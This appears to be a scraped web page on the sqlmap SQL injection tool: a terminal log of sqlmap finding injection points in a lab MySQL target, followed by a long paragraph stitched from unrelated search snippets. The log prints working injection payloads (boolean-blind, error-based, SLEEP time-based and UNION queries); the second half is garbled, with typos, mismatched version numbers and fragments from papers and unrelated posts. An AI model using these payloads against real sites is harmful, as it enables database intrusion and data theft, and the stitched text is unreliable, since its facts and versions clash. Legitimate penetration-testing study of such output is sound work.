[Sqlmap 0.5 – Automated SQL Injection Tool]

```
$ python sqlmap.py -u "http://172.16.112.128/sqlmap/mysql/get_int.php?id=1" --batch
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.3.4.44#dev}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's
 responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsi
ble for any misuse or damage caused by this program

[*] starting @ 10:34:28 /2019-04-30/

[10:34:28] [INFO] testing connection to the target URL
[10:34:28] [INFO] heuristics detected web page charset 'ascii'
[10:34:28] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:34:28] [INFO] testing if the target URL content is stable
[10:34:29] [INFO] target URL content is stable
[10:34:29] [INFO] testing if GET parameter 'id' is dynamic
[10:34:29] [INFO] GET parameter 'id' appears to be dynamic
[10:34:29] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[10:34:29] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) at
tacks
[10:34:29] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [
Y/n] Y
[10:34:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:34:29] [WARNING] reflective value(s) found and filtering out
[10:34:29] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --
string="luther")
[10:34:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[10:34:29] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[10:34:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[10:34:29] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[10:34:29] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[10:34:29] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[10:34:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:34:29] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR
)' injectable
[10:34:29] [INFO] testing 'MySQL inline queries'
[10:34:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[10:34:29] [WARNING] time-based comparison requires larger statistical model, please wait.............. (done)

[10:34:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:34:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[10:34:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[10:34:29] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[10:34:29] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[10:34:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[10:34:39] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
[10:34:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:34:39] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other
 (potential) technique found
[10:34:39] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number
of query columns. Automatically extending the range for current UNION query injection technique test
[10:34:39] [INFO] target URL appears to have 3 columns in query
[10:34:39] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 6489=6489

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 7857 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (ELT(7857=7857,1))),0x716a6b6a71,FLOO
R(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x717a786a71,0x5a5151727477666c4c416247565562615 3796d79455947614b5153456f5
a7a4f6f57724d586d614d,0x716a6b6a71),NULL-- swCD
---
[10:34:39] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
[10:34:39] [INFO] fetched data logged to text files under '/home/stamparm/.sqlmap/output/172.16.112.128'

[*] ending @ 10:34:39 /2019-04-30/

$ █
```

[Sqlmap 0.5 – Automated SQL Injection Tool]

Hi, I am glad to release sqlmap 0.5; sqlmap is an automatic SQL injection tool entirely developed in Python. It is capable to perform an .... sqlmap v1.0.5 – Automatic SQL injection and database takeover tool. – Security List Network™. sqlmap v1.0.5 – Automatic SQL injection and database takeover .... Apr 17, 2019- sqlmap v1.0.5 – Automatic SQL injection and database takeover tool.. sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a ... with pre installed tool. – https://hub.docker.com/r/szalek/pentest-tools/ ... Accept-Language: en-US,en;q=0.5. Accept-Encoding: .... sqlmap is an automatic SQL injection tool entirely developed in Python. It is capable to perform an extensive database management system .... Software required: Backtrack 5 R3 with sqlmap, Mutillidae Web Pen Test Training ... February 2013 Workshop, this video review the use of sqlmap; an automated sql injection audit tool. ... Accept-Language: en-US,en;q=0.5. Basically SQLMap is a security penetration tool for scanning SCL injection ... for the common SQL injection techniques for boolean-based blind, tirtle-based blind, ... tar-xwf:almaPProject-sqlmaP-0.5-4.025gbld13dltar The next step would he to .... Sqlmap is a convenient tool for SQL injection. ... Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml .... 0, 0.5 and 1. ... Examples of some tools used, SQLmap is used for detecting and exploiting SQL injection ... Finally, python was used for automated tasks. Step 4: .... Automated NoSQL database enumeration and web application exploitation tool. ... Damele and Miroslav's Stampar's popular SQL injection tool sqlmap.. These requests were filtered to avoid redundancy and only legal SQL queries were ... queries, the dispatch of the queries was automated using the tool SQLMap 0.5 [16]. ... programming security flaws that lead to SQL injection vulnerabilities. Although the SQLMap 0.5 tool generates a wide variety of malicious queries by .... 1. INTRODUCTION. SQL-injection (SQLi) vulnerabilities are amongst the top secu- ... work with most attack generation tools, without additional adapta- ... Theorganizer/ sqlmap. 27. 0.5. 161.1. 0. 1.0. 0.003 29.07. Wordpress- newstat/ burpsuite.. sqlmap is an automatic SQL injection tool developed in Python. Its goal is to detect and ... sqlmap 0.5 – Automated SQL Injection Tool. sqlmap is an automatic .... SQL injection with sqlmap Herman Duarte ... en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: ... inject multiple statements on the SQL query Time-based blind Based on ... SQLMAP Tool Usage - A Heads Up.. SQLMap: Open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of .... a CLI tool for detecting SQL- and NoSQLbased injections. sqlmap can be installed ... has a great CLI that allows it to be worked into other automated workflows. ... -s /Path/to/arachni-1.5.1-0.5.12/bin/arachni* /usr/local/bin You might find that, ... sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers .... Why was the website so slow for so long? The cause of the slowdown was a change to the ZFS dataset. In conjunction with the database server .... Tools like Qualys and Nessus also provide features that can be used for ... SQLmap SQLmap is often considered a web vulnerability and SQL injection tool. It helps ... Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: .... URL : http://sqlninja.sourceforge.net/ □□ : 0.2.1-r1 □□ : sqlmap □□ : an automatic SQL injection tool entirely developed in Python □□ : 0.5 87b4100051